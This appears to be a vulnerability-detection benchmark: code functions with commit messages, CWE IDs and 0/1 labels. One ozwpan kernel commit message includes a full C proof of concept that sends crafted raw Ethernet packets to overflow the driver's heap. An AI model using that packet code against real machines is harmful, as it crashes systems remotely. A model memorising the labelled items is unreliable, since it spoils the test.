EXPECT_GE(count_test_block/5, total_error)
<< "Error: Extremal 8x8 FDCT/IDCT or FHT/IHT has average"
<< " roundtrip error > 1/5 per block";
}
}
Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478
DO NOT MERGE - libvpx: Pull from upstream
Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06
BUG=23452792
Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec
CWE ID: CWE-119 | 1 | 174,559 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool RenderWidgetHostImpl::IsInOverscrollGesture() const {
return overscroll_controller_.get() &&
overscroll_controller_->overscroll_mode() != OVERSCROLL_NONE;
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 114,638 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void remove_stream(FFServerStream *stream)
{
FFServerStream **ps;
ps = &config.first_stream;
while (*ps) {
if (*ps == stream)
*ps = (*ps)->next;
else
ps = &(*ps)->next;
}
}
Commit Message: ffserver: Check chunk size
Fixes out of array access
Fixes: poc_ffserver.py
Found-by: Paul Cher <paulcher@icloud.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119 | 0 | 70,823 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static av_always_inline int webp_get_vlc(GetBitContext *gb, VLC_TYPE (*table)[2])
{
int n, nb_bits;
unsigned int index;
int code;
OPEN_READER(re, gb);
UPDATE_CACHE(re, gb);
index = SHOW_UBITS(re, gb, 8);
index = ff_reverse[index];
code = table[index][0];
n = table[index][1];
if (n < 0) {
LAST_SKIP_BITS(re, gb, 8);
UPDATE_CACHE(re, gb);
nb_bits = -n;
index = SHOW_UBITS(re, gb, nb_bits);
index = (ff_reverse[index] >> (8 - nb_bits)) + code;
code = table[index][0];
n = table[index][1];
}
SKIP_BITS(re, gb, n);
CLOSE_READER(re, gb);
return code;
}
Commit Message: avcodec/webp: Always set pix_fmt
Fixes: out of array access
Fixes: 1434/clusterfuzz-testcase-minimized-6314998085189632
Fixes: 1435/clusterfuzz-testcase-minimized-6483783723253760
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Reviewed-by: "Ronald S. Bultje" <rsbultje@gmail.com>
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119 | 0 | 64,063 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: onig_region_copy(OnigRegion* to, OnigRegion* from)
{
#define RREGC_SIZE (sizeof(int) * from->num_regs)
int i;
if (to == from) return;
if (to->allocated == 0) {
if (from->num_regs > 0) {
to->beg = (int* )xmalloc(RREGC_SIZE);
to->end = (int* )xmalloc(RREGC_SIZE);
to->allocated = from->num_regs;
}
}
else if (to->allocated < from->num_regs) {
to->beg = (int* )xrealloc(to->beg, RREGC_SIZE);
to->end = (int* )xrealloc(to->end, RREGC_SIZE);
to->allocated = from->num_regs;
}
for (i = 0; i < from->num_regs; i++) {
to->beg[i] = from->beg[i];
to->end[i] = from->end[i];
}
to->num_regs = from->num_regs;
#ifdef USE_CAPTURE_HISTORY
history_root_free(to);
if (IS_NOT_NULL(from->history_root)) {
to->history_root = history_tree_clone(from->history_root);
}
#endif
}
Commit Message: fix #59 : access to invalid address by reg->dmax value
CWE ID: CWE-476 | 0 | 64,676 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void BrowserWindowGtk::ExitFullscreen() {
bool unmaximize_before_unfullscreen = IsMaximized() &&
ui::GuessWindowManager() == ui::WM_METACITY;
if (unmaximize_before_unfullscreen)
UnMaximize();
gtk_window_unfullscreen(window_);
if (unmaximize_before_unfullscreen)
gtk_window_maximize(window_);
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 117,917 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: set_umask(const char *optarg)
{
long umask_long;
mode_t umask_val;
char *endptr;
umask_long = strtoll(optarg, &endptr, 0);
if (*endptr || umask_long < 0 || umask_long & ~0777L) {
fprintf(stderr, "Invalid --umask option %s", optarg);
return 0;
}
umask_val = umask_long & 0777;
umask(umask_val);
umask_cmdline = true;
return umask_val;
}
Commit Message: When opening files for write, ensure they aren't symbolic links
Issue #1048 identified that if, for example, a non privileged user
created a symbolic link from /etc/keepalvied.data to /etc/passwd,
writing to /etc/keepalived.data (which could be invoked via DBus)
would cause /etc/passwd to be overwritten.
This commit stops keepalived writing to pathnames where the ultimate
component is a symbolic link, by setting O_NOFOLLOW whenever opening
a file for writing.
This might break some setups, where, for example, /etc/keepalived.data
was a symbolic link to /home/fred/keepalived.data. If this was the case,
instead create a symbolic link from /home/fred/keepalived.data to
/tmp/keepalived.data, so that the file is still accessible via
/home/fred/keepalived.data.
There doesn't appear to be a way around this backward incompatibility,
since even checking if the pathname is a symbolic link prior to opening
for writing would create a race condition.
Signed-off-by: Quentin Armitage <quentin@armitage.org.uk>
CWE ID: CWE-59 | 0 | 75,914 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ResourceCoordinatorService::OnBindInterface(
const service_manager::BindSourceInfo& source_info,
const std::string& interface_name,
mojo::ScopedMessagePipeHandle interface_pipe) {
registry_.BindInterface(interface_name, std::move(interface_pipe),
source_info);
}
Commit Message: memory-infra: split up memory-infra coordinator service into two
This allows for heap profiler to use its own service with correct
capabilities and all other instances to use the existing coordinator
service.
Bug: 792028
Change-Id: I84e4ec71f5f1d00991c0516b1424ce7334bcd3cd
Reviewed-on: https://chromium-review.googlesource.com/836896
Commit-Queue: Lalit Maganti <lalitm@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: oysteine <oysteine@chromium.org>
Reviewed-by: Albert J. Wong <ajwong@chromium.org>
Reviewed-by: Hector Dearman <hjd@chromium.org>
Cr-Commit-Position: refs/heads/master@{#529059}
CWE ID: CWE-269 | 0 | 150,128 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: plugin_init (GstPlugin * plugin)
{
if (!gst_element_register (plugin, "vmncdec", GST_RANK_PRIMARY,
GST_TYPE_VMNC_DEC))
return FALSE;
return TRUE;
}
Commit Message:
CWE ID: CWE-200 | 0 | 13,661 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: pdf14_fill_mask(gx_device * orig_dev,
const byte * data, int dx, int raster, gx_bitmap_id id,
int x, int y, int w, int h,
const gx_drawing_color * pdcolor, int depth,
gs_logical_operation_t lop, const gx_clip_path * pcpath)
{
gx_device *dev;
pdf14_device *p14dev = (pdf14_device *)orig_dev;
gx_device_clip cdev;
gx_color_tile *ptile = NULL;
int code = 0;
gs_int_rect group_rect;
gx_pattern_trans_t *fill_trans_buffer = NULL;
bool has_pattern_trans = false;
cmm_dev_profile_t *dev_profile;
if (pdcolor == NULL)
return_error(gs_error_unknownerror); /* color must be defined */
/* If we are doing a fill with a pattern that has a transparency then
go ahead and do a push and a pop of the transparency group */
if (gx_dc_is_pattern1_color(pdcolor)) {
if( gx_pattern1_get_transptr(pdcolor) != NULL) {
ptile = pdcolor->colors.pattern.p_tile;
/* Set up things in the ptile so that we get the proper
blending etc */
/* Set the blending procs and the is_additive setting based
upon the number of channels */
if (ptile->ttrans->n_chan-1 < 4) {
ptile->ttrans->blending_procs = &rgb_blending_procs;
ptile->ttrans->is_additive = true;
} else {
ptile->ttrans->blending_procs = &cmyk_blending_procs;
ptile->ttrans->is_additive = false;
}
/* Set the procs so that we use the proper filling method. */
gx_set_pattern_procs_trans((gx_device_color*) pdcolor);
/* Based upon if the tiles overlap pick the type of rect
fill that we will want to use */
if (ptile->has_overlap) {
/* This one does blending since there is tile overlap */
ptile->ttrans->pat_trans_fill = &tile_rect_trans_blend;
} else {
/* This one does no blending since there is no tile overlap */
ptile->ttrans->pat_trans_fill = &tile_rect_trans_simple;
}
/* Push the group */
group_rect.p.x = x;
group_rect.p.y = max(0,y);
group_rect.q.x = x + w;
group_rect.q.y = y + h;
if (!(w <= 0 || h <= 0)) {
code = pdf14_push_transparency_group(p14dev->ctx, &group_rect,
1, 0, 255,255, ptile->blending_mode, 0, 0,
ptile->ttrans->n_chan-1, false, NULL, NULL, NULL, NULL);
if (code < 0)
return code;
/* Set up the output buffer information now that we have
pushed the group */
fill_trans_buffer = new_pattern_trans_buff(p14dev->memory);
pdf14_get_buffer_information((gx_device *) p14dev,
fill_trans_buffer, NULL, false);
/* Store this in the appropriate place in pdcolor. This
is released later after the mask fill */
ptile->ttrans->fill_trans_buffer = fill_trans_buffer;
has_pattern_trans = true;
}
}
}
if (pcpath != 0) {
gx_make_clip_device_on_stack(&cdev, pcpath, orig_dev);
dev = (gx_device *) & cdev;
} else
dev = orig_dev;
if (depth > 1) {
/****** CAN'T DO ROP OR HALFTONE WITH ALPHA ******/
code = (*dev_proc(dev, copy_alpha))
(dev, data, dx, raster, id, x, y, w, h,
gx_dc_pure_color(pdcolor), depth);
} else {
code = pdcolor->type->fill_masked(pdcolor, data, dx, raster, id,
x, y, w, h, dev, lop, false);
}
if (has_pattern_trans) {
if (code >= 0)
code = dev_proc(dev, get_profile)(dev, &dev_profile);
if (code >= 0)
code = pdf14_pop_transparency_group(NULL, p14dev->ctx,
p14dev->blend_procs,
p14dev->color_info.num_components,
dev_profile->device_profile[0],
orig_dev);
gs_free_object(p14dev->memory, ptile->ttrans->fill_trans_buffer,
"pdf14_fill_mask");
ptile->ttrans->fill_trans_buffer = NULL; /* Avoid GC issues */
}
return code;
}
Commit Message:
CWE ID: CWE-416 | 0 | 2,949 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int tab_id() { return SessionTabHelper::IdForTab(web_contents()).id(); }
Commit Message: Call CanCaptureVisiblePage in page capture API.
Currently the pageCapture permission allows access
to arbitrary local files and chrome:// pages which
can be a security concern. In order to address this,
the page capture API needs to be changed similar to
the captureVisibleTab API. The API will now only allow
extensions to capture otherwise-restricted URLs if the
user has granted activeTab. In addition, file:// URLs are
only capturable with the "Allow on file URLs" option enabled.
Bug: 893087
Change-Id: I6d6225a3efb70fc033e2e1c031c633869afac624
Reviewed-on: https://chromium-review.googlesource.com/c/1330689
Commit-Queue: Bettina Dea <bdea@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Varun Khaneja <vakh@chromium.org>
Cr-Commit-Position: refs/heads/master@{#615248}
CWE ID: CWE-20 | 0 | 151,463 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: status_t StreamingProcessor::setRecordingFormat(int format,
android_dataspace dataSpace) {
ATRACE_CALL();
Mutex::Autolock m(mMutex);
ALOGV("%s: Camera %d: New recording format/dataspace from encoder: %X, %X",
__FUNCTION__, mId, format, dataSpace);
mRecordingFormat = format;
mRecordingDataSpace = dataSpace;
int prevGrallocUsage = mRecordingGrallocUsage;
if (mRecordingFormat == HAL_PIXEL_FORMAT_IMPLEMENTATION_DEFINED) {
mRecordingGrallocUsage = GRALLOC_USAGE_HW_VIDEO_ENCODER;
} else {
mRecordingGrallocUsage = GRALLOC_USAGE_SW_READ_OFTEN;
}
ALOGV("%s: Camera %d: New recording gralloc usage: %08X", __FUNCTION__, mId,
mRecordingGrallocUsage);
if (prevGrallocUsage != mRecordingGrallocUsage) {
ALOGV("%s: Camera %d: Resetting recording consumer for new usage",
__FUNCTION__, mId);
if (isStreamActive(mActiveStreamIds, mRecordingStreamId)) {
ALOGE("%s: Camera %d: Changing recording format when "
"recording stream is already active!", __FUNCTION__,
mId);
return INVALID_OPERATION;
}
releaseAllRecordingFramesLocked();
mRecordingConsumer.clear();
}
return OK;
}
Commit Message: DO NOT MERGE: Camera: Adjust pointers to ANW buffers to avoid infoleak
Subtract address of a random static object from pointers being routed
through app process.
Bug: 28466701
Change-Id: Idcbfe81e9507433769672f3dc6d67db5eeed4e04
CWE ID: CWE-200 | 0 | 159,373 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int xfrm_get_sa(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_usersa_id *p = nlmsg_data(nlh);
struct xfrm_state *x;
struct sk_buff *resp_skb;
int err = -ESRCH;
x = xfrm_user_state_lookup(net, p, attrs, &err);
if (x == NULL)
goto out_noput;
resp_skb = xfrm_state_netlink(skb, x, nlh->nlmsg_seq);
if (IS_ERR(resp_skb)) {
err = PTR_ERR(resp_skb);
} else {
err = nlmsg_unicast(net->xfrm.nlsk, resp_skb, NETLINK_CB(skb).portid);
}
xfrm_state_put(x);
out_noput:
return err;
}
Commit Message: ipsec: Fix aborted xfrm policy dump crash
An independent security researcher, Mohamed Ghannam, has reported
this vulnerability to Beyond Security's SecuriTeam Secure Disclosure
program.
The xfrm_dump_policy_done function expects xfrm_dump_policy to
have been called at least once or it will crash. This can be
triggered if a dump fails because the target socket's receive
buffer is full.
This patch fixes it by using the cb->start mechanism to ensure that
the initialisation is always done regardless of the buffer situation.
Fixes: 12a169e7d8f4 ("ipsec: Put dumpers on the dump list")
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Steffen Klassert <steffen.klassert@secunet.com>
CWE ID: CWE-416 | 0 | 59,367 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: DetectPrefilterBuildNonPrefilterList(DetectEngineThreadCtx *det_ctx, SignatureMask mask, uint8_t alproto)
{
uint32_t x = 0;
for (x = 0; x < det_ctx->non_pf_store_cnt; x++) {
/* only if the mask matches this rule can possibly match,
* so build the non_mpm array only for match candidates */
const SignatureMask rule_mask = det_ctx->non_pf_store_ptr[x].mask;
const uint8_t rule_alproto = det_ctx->non_pf_store_ptr[x].alproto;
if ((rule_mask & mask) == rule_mask && (rule_alproto == 0 || rule_alproto == alproto)) { // TODO dce?
det_ctx->non_pf_id_array[det_ctx->non_pf_id_cnt++] = det_ctx->non_pf_store_ptr[x].id;
}
}
}
Commit Message: stream: still inspect packets dropped by stream
The detect engine would bypass packets that are set as dropped. This
seems sane, as these packets are going to be dropped anyway.
However, it lead to the following corner case: stream events that
triggered the drop could not be matched on the rules. The packet
with the event wouldn't make it to the detect engine due to the bypass.
This patch changes the logic to not bypass DROP packets anymore.
Packets that are dropped by the stream engine will set the no payload
inspection flag, so avoid needless cost.
CWE ID: CWE-693 | 0 | 84,284 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct oz_port *oz_hcd_pd_arrived(void *hpd)
{
int i;
struct oz_port *hport;
struct oz_hcd *ozhcd;
struct oz_endpoint *ep;
ozhcd = oz_hcd_claim();
if (!ozhcd)
return NULL;
/* Allocate an endpoint object in advance (before holding hcd lock) to
* use for out endpoint 0.
*/
ep = oz_ep_alloc(0, GFP_ATOMIC);
if (!ep)
goto err_put;
spin_lock_bh(&ozhcd->hcd_lock);
if (ozhcd->conn_port >= 0)
goto err_unlock;
for (i = 0; i < OZ_NB_PORTS; i++) {
struct oz_port *port = &ozhcd->ports[i];
spin_lock(&port->port_lock);
if (!(port->flags & (OZ_PORT_F_PRESENT | OZ_PORT_F_CHANGED))) {
oz_acquire_port(port, hpd);
spin_unlock(&port->port_lock);
break;
}
spin_unlock(&port->port_lock);
}
if (i == OZ_NB_PORTS)
goto err_unlock;
ozhcd->conn_port = i;
hport = &ozhcd->ports[i];
hport->out_ep[0] = ep;
spin_unlock_bh(&ozhcd->hcd_lock);
if (ozhcd->flags & OZ_HDC_F_SUSPENDED)
usb_hcd_resume_root_hub(ozhcd->hcd);
usb_hcd_poll_rh_status(ozhcd->hcd);
oz_hcd_put(ozhcd);
return hport;
err_unlock:
spin_unlock_bh(&ozhcd->hcd_lock);
oz_ep_free(NULL, ep);
err_put:
oz_hcd_put(ozhcd);
return NULL;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189 | 0 | 43,190 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: std::unique_ptr<net::test_server::HttpResponse> RespondWithRequestPathHandler(
const std::string& server_name,
EventLog* event_log,
const net::test_server::HttpRequest& request) {
if (request.relative_url == "/favicon.ico")
return nullptr;
event_log->Add(server_name + " responded 200 for " + request.relative_url);
auto response = std::make_unique<net::test_server::BasicHttpResponse>();
response->set_content_type("text/plain");
response->set_code(net::HTTP_OK);
response->set_content(request.relative_url);
return response;
}
Commit Message: Disable all DRP URL fetches when holdback is enabled
Disable secure proxy checker, warmup url fetcher
and client config fetch when the client is in DRP
(Data Reduction Proxy) holdback.
This CL does not disable pingbacks when client is in the
holdback, but the pingback code is going away soon.
Change-Id: Icbb59d814d1452123869c609e0770d1439c1db51
Bug: 984964
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1709965
Commit-Queue: Tarun Bansal <tbansal@chromium.org>
Reviewed-by: Robert Ogden <robertogden@chromium.org>
Cr-Commit-Position: refs/heads/master@{#679649}
CWE ID: CWE-416 | 0 | 137,848 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int adf_ctl_is_device_in_use(int id)
{
struct list_head *itr, *head = adf_devmgr_get_head();
list_for_each(itr, head) {
struct adf_accel_dev *dev =
list_entry(itr, struct adf_accel_dev, list);
if (id == dev->accel_id || id == ADF_CFG_ALL_DEVICES) {
if (adf_devmgr_in_reset(dev) || adf_dev_in_use(dev)) {
pr_info("QAT: device qat_dev%d is busy\n",
dev->accel_id);
return -EBUSY;
}
}
}
return 0;
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264 | 0 | 47,475 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void LocalFrameClientImpl::DispatchDidFailLoad(
const ResourceError& error,
WebHistoryCommitType commit_type) {
web_frame_->DidFail(error, false, commit_type);
}
Commit Message: Prevent renderer initiated back navigation to cancel a browser one.
Renderer initiated back/forward navigations must not be able to cancel ongoing
browser initiated navigation if they are not user initiated.
Note: 'normal' renderer initiated navigation uses the
FrameHost::BeginNavigation() path. A code similar to this patch is done
in NavigatorImpl::OnBeginNavigation().
Test:
-----
Added: NavigationBrowserTest.
* HistoryBackInBeforeUnload
* HistoryBackInBeforeUnloadAfterSetTimeout
* HistoryBackCancelPendingNavigationNoUserGesture
* HistoryBackCancelPendingNavigationUserGesture
Fixed:
* (WPT) .../the-history-interface/traverse_the_history_2.html
* (WPT) .../the-history-interface/traverse_the_history_3.html
* (WPT) .../the-history-interface/traverse_the_history_4.html
* (WPT) .../the-history-interface/traverse_the_history_5.html
Bug: 879965
Change-Id: I1a9bfaaea1ffc219e6c32f6e676b660e746c578c
Reviewed-on: https://chromium-review.googlesource.com/1209744
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Mustaq Ahmed <mustaq@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Reviewed-by: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#592823}
CWE ID: CWE-254 | 0 | 145,258 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderWidgetHostViewGuest::SetBounds(const gfx::Rect& rect) {
SetSize(rect.size());
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 115,048 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ChildProcessSecurityPolicyImpl::AddChild(int child_id) {
if (security_state_.count(child_id) != 0) {
NOTREACHED() << "Add child process at most once.";
return;
}
security_state_[child_id] = new SecurityState();
}
Commit Message: Apply missing kParentDirectory check
BUG=161564
Review URL: https://chromiumcodereview.appspot.com/11414046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@168692 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 102,401 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: add_durable_context(struct kvec *iov, unsigned int *num_iovec,
struct cifs_open_parms *oparms, bool use_persistent)
{
struct smb2_create_req *req = iov[0].iov_base;
unsigned int num = *num_iovec;
if (use_persistent) {
if (oparms->reconnect)
return add_durable_reconnect_v2_context(iov, num_iovec,
oparms);
else
return add_durable_v2_context(iov, num_iovec, oparms);
}
if (oparms->reconnect) {
iov[num].iov_base = create_reconnect_durable_buf(oparms->fid);
/* indicate that we don't need to relock the file */
oparms->reconnect = false;
} else
iov[num].iov_base = create_durable_buf();
if (iov[num].iov_base == NULL)
return -ENOMEM;
iov[num].iov_len = sizeof(struct create_durable);
if (!req->CreateContextsOffset)
req->CreateContextsOffset =
cpu_to_le32(sizeof(struct smb2_create_req) - 4 +
iov[1].iov_len);
le32_add_cpu(&req->CreateContextsLength, sizeof(struct create_durable));
inc_rfc1001_len(&req->hdr, sizeof(struct create_durable));
*num_iovec = num + 1;
return 0;
}
Commit Message: CIFS: Enable encryption during session setup phase
In order to allow encryption on SMB connection we need to exchange
a session key and generate encryption and decryption keys.
Signed-off-by: Pavel Shilovsky <pshilov@microsoft.com>
CWE ID: CWE-476 | 0 | 84,929 |
